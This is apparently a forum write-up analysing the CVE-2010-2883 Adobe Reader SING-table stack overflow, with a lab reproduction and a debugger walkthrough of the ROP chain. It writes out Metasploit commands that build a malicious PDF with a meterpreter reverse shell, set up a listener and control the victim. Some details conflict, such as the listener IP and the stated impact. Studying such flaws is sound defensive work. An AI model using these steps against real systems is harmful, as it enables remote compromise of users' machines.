-
-
[分享]CVE-2010-2883漏洞分析与复现
-
2021-8-18 17:41 13291
-
CVE-2010-2883漏洞分析
一、漏洞信息
1. 漏洞简述
- 漏洞名称:Adobe Reader TTF字体SING表栈溢出漏洞
- 漏洞编号:CVE-2010-2883
- 漏洞类型:栈溢出
- 漏洞影响:信息泄露
- CVSS评分:9.3(High)
- 利用难度:Medium
- 基础权限:不需要
2. 组件概述
Adobe Reader是美国Adobe公司开发的非常流行的PDF文件阅读器。
pdf中带有TTF字体Smart INdependent Glyphlets (SING)表的UniqueName成员在CoolType.dll中执行一次strcat函数。
3. 漏洞利用
Adobe Reader 9.3.4之前的版本的CoolType.dll中存在基于栈的缓冲区溢出漏洞函数strcat,在执行时会将pdf文件的SING表的UniqueName字符串拷贝进栈中,并且不检查字符串长度。
4. 漏洞影响
Windows、Macintosh和UNIX系统下Adobe Reader 9.3.4 之前的版本。
5. 解决方案
官方的安全更新方案是更新软件。
二、漏洞复现
1. 环境搭建
- 靶机环境:Windows XPx86 SP3
- 靶机配置:192.168.44.153:8888
- 攻击机环境:Kali Linux 2021.2
- 攻击机配置:192.168.44.152
2. 复现过程
(1) Kali中启动Metasploit生成木马文件
1 2 3 4 | 搜索Adobe渗透模块 msf > search adobe_cooltype_sing 调用渗透模块 msf > use exploit / windows / fileformat / adobe_cooltype_sing / |
1 2 3 4 5 6 7 8 9 10 | 调用meterpreter载荷,反向连接到渗透机 msf exploit(adobe_cooltype_sing) > set payload windows / meterpreter / reverse_tcp 设置Kali Linux的IP地址 msf exploit(adobe_cooltype_sing) > set LHOST 192.168 . 44.153 设置本地监听端口 msf exploit(adobe_cooltype_sing) > set LPORT 8888 设置PDF文件名称 msf exploit(adobe_cooltype_sing) > set FILENAME PINGINGLAB.pdf 生成PDF文件 msf exploit(adobe_cooltype_sing) > exploit |
(2) 将PDF木马文件发送至靶机
(3) Metasploit开启shell监听会话,等待靶机打开pdf
1 2 3 4 5 6 7 8 9 10 | 使用handler监听模块 msf > use exploit / multi / handler 回弹一个tcp连接 msf exploit(handler) > set payload windows / meterpreter / reverse_tcp 设置监听IP地址(跟PDF木马文件一致) msf exploit(handler) > set LHOST 192.168 . 44.153 设置监听的端口(跟PDF木马文件一致) msf exploit(handler) > set LPORT 8888 开启监听 msf exploit(handler) > exploit |
(4) 靶机中运行pdf,系统会出现卡顿
(5) Metasploit获取shell会话,并用Meterpreter控制靶机
1 2 3 4 | 查看系统信息 meterpreter > sysinfo 截屏 meterpreter > screenshot |
(6) 切换进程
这个漏洞利用过程,adobe reader会“卡壳”退出,所以需要快速切换到其他系统进程,这样会话才不会丢失。
1 2 3 4 | 获取进程 meterpreter > ps 切换进程 meterpreter > migrate 872 |
三、漏洞分析
1. 基本信息
- 漏洞文件:低于9.3.4版本的Adobe Reader
- 漏洞函数:strcat()
- 漏洞对象:SING表的UniqueName成员
2. 背景知识
1. 栈溢出
程序将参数传入栈中时没有检查传入的参数是否大于预定的长度,导致栈中关键数据被参数覆盖
2. ROP技术
面向返回编程(英语:Return-Oriented Programming,缩写:ROP)是计算机安全漏洞利用技术,该技术允许攻击者在安全防御的情况下执行代码,如不可执行的内存和代码签名。
3. 详细分析
1. 基础分析
pdf文件中的SING表:
pdf文件中包含一个TTF字体文件,其包含一个SING表,以'SING'签名开始,使用PdfStreamDumper.exe查看恶意pdf文件,能够找到SING表的TableEntry:
TableEntry的结构是这样的:
1 2 3 4 5 6 7 | typedef sturct { char tag[ 4 ]; ULONG checkSum; ULONG offset; / / 相对文件的偏移 ULONG length; / / 数据长度为 0x1DDF }TableEntry; |
其中offset成员指向ttf文件中SING表的起始地址,在这个pdf中时0x11c:
SING表的结构如下所示
根据结构计算,UniqueName成员应为SING表+0x10处,也就是图中所示
而这部分数据会被作为strcat()函数的第二个参数传入栈中了,直到出现字符串截断符0x11
2. 静态分析
1. Ida分析
strcat()函数位于Adobe Reader的安装目录中的CoolType.dll文件中,使用Ida打开改文件,shift+F12搜索“SING”字符串,发现在引用该字符串(0x0803DD74)下方不远处就能找到strcat()函数(0x0803DDAB):
按F5将其转为C代码查看,发现在strcat()处将一个指针变量+0x10的字符串入栈说明这个变量就是sing表的基地址,而+0x10位置便是UniqueName成员的地址。
2. 补丁Diff
下载AdobeReader 9.4.0提取CoolType.dll,定位到相同的位置
这里不是调用strcat,而是sub_813391E,跟进:
可以看到在使用strcat函数前增加了参数字符串长度判断
3. 漏洞函数分析
具体的漏洞函数功能、触发条件、源代码分析
3. 动态分析
打开AdobeReader.exe,使用OD附加到进程,ctrl+G搜索“SING”字符串的地址0x0803DD74,设置断点。
按F9让pdf阅读器先运行初始化,然后打开用msf生成的恶意pdf文件(运行过程中出现卡顿和报错是正常现象,不需要理会),在“SING”字符串的地址不远处找到strcat函数的调用,设置断点
动态分析strcat函数之前这段代码,其功能是检查pdf中是否包含SING表,并解析SING表,获取其UniqueName成员:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | 0803DD74 68 4CDB1908 push CoolType. 0819DB4C ; ASCII 53 , "ING" , "SING" 0803DD79 57 push edi ; edi入栈 0803DD7A 8D4D DC lea ecx,dword ptr ss:[ebp - 0x24 ] ; ecx保存变量指针 0803DD7D E8 843DFEFF call CoolType. 08021B06 ; 通过变量保存一个值,实际上是返回了SING表的地址 0803DD82 8B45 DC mov eax,dword ptr ss:[ebp - 0x24 ] ; 把这个SING表地址赋给eax 0803DD85 3BC6 cmp eax,esi ; 此时esi为 0 ,与eax比较,意思是判断SING表是否有效 0803DD87 C645 FC 02 mov byte ptr ss:[ebp - 0x4 ], 0x2 0803DD8B 74 37 je short CoolType. 0803DDC4 ; jump equal 0 的意思,前面比较不为零,不跳转 0803DD8D 8B08 mov ecx,dword ptr ds:[eax] ; 取双字节的EAX所指的地址的内存内容,赋值给ECX,此处内容为 0X00010000 ,应该是SING表版本号 0803DD8F 81E1 FFFF0000 and ecx, 0xFFFF ; 将 0x00010000 与 0x0000FFFF 与或位运算,得 0 0803DD95 74 08 je short CoolType. 0803DD9F ; 上一步比较得 0 ,此处跳转 0803DD97 81F9 00010000 cmp ecx, 0x100 0803DD9D 75 21 jnz short CoolType. 0803DDC0 0803DD9F 83C0 10 add eax, 0x10 ; eax存储sing表的基地址,因此加 0x10 为UniqueName结构 0803DDA2 50 push eax ; UniqueName地址入栈 0803DDA3 8D45 00 lea eax,dword ptr ss:[ebp] ; 将EBP所指的地址的内存内容,赋值给EAX 0803DDA6 50 push eax ; EAX入栈 0803DDA7 C645 00 00 mov byte ptr ss:[ebp], 0x0 ; 将EBP所指的内容赋值为 0 0803DDAB E8 483D1300 call <jmp.&MSVCR80.strcat> ; 调用strcat |
让程序执行,并步过strcat这个函数,此时查看栈窗口:
返回地址已经被覆盖为0x4A82A714,查看该地址的反汇编窗口:
对应指令为pop esp;ret;
此处用到了ROP技术绕过DEP,执行这两条指令的作用是将栈中跳转地址的下一地址的内容(此处为0x0C0C0C0C)赋值给esp,产生的作用等同于 mov esp,0x0C0C0C0C;此时的esp被修改为0x0c0c0c0c,这时就将代码执行流引导至地址0x0C0C0C0C处
0x0C0C0C0C处是一个ROP链,这个链是在程序执行JavaScript时实现的HeapSpray而写入的,这个JavaScript的二进制数据也存在于pdf中,是精心构造出来的。
继续跟进ROP链,看到先后调用函数CreateFile 、CreateFileMapping、MapOfViewMap创建了文件iso88591:
使用memcpy函数将shellcode复制到了0x03F4000处:
四、缓解措施
更新Adobe Reader版本至高于9.4.0以上。
不打开来源不明的pdf
五、参考文献
知乎:CVE-2010-2883 Adobe Reader 打开pdf电脑即刻中招
CSDN:CEV-2010-2883 Adobe Reader漏洞复现
第一次分析实际漏洞,文中有些知识点没有仔细分析,比如JavaScript实现的HeapSpary,还有ROP链将shellcode写入内存后的shellcode行为分析,还请大佬们不吝赐教
感谢有毒版主提供的模板,拿来吧你
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课